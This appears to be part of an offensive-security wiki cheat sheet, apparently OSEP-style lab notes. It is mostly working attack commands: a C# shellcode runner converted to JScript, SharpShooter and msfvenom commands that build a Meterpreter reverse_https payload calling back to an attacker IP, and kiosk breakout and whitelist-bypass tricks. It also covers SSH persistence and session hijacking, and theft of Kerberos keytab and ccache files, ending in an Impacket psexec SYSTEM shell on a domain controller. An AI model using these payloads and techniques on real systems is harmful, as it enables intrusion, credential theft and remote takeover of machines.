using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
